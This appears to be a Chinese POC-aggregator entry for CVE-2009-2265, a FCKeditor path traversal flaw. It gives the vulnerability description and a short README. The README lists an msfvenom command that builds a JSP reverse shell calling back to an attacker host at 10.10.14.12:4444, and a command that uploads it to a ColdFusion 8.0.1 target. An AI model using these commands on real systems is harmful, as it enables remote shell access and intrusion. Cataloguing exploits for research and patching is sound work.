POC详情： 8f57782e3f439d40556fdbf19daec8fe1f3c4d1c

来源
https://github.com/crypticdante/CVE-2009-2265
关联漏洞
标题： FCKeditor 路径遍历漏洞 (CVE-2009-2265)
描述：FCKeditor是个人开发者的一款开源的专用于在网页上编辑HTML的编辑器。 FCKeditor的editor/filemanager/browser/default/connectors/php/connector.php模块中存在路径遍历漏洞： 147.function FileUpload( $resourceType， $currentFolder ) 148.{ 149.$sErrorNumber = '0' ; 150.$sFileName = '' ; 151. 152.if ( isse
介绍
# Version: ColdFusion 8.0.1
## CVE-2009-2265

`msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f raw > shell.jsp`

`python upload.py 10.10.10.11 8500 shell.jsp`



Example :

![image](https://user-images.githubusercontent.com/66146701/125869430-979bc7dc-afa2-4d2f-a546-cc05bbb00a1f.png)

![image](https://user-images.githubusercontent.com/66146701/125869597-d96c0ca0-9861-44a2-b1af-05106b79319e.png)
文件快照

 [4.0K]  /data/pocs/8f57782e3f439d40556fdbf19daec8fe1f3c4d1c
├── [ 422]  README.md
└── [1.7K]  upload.py

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。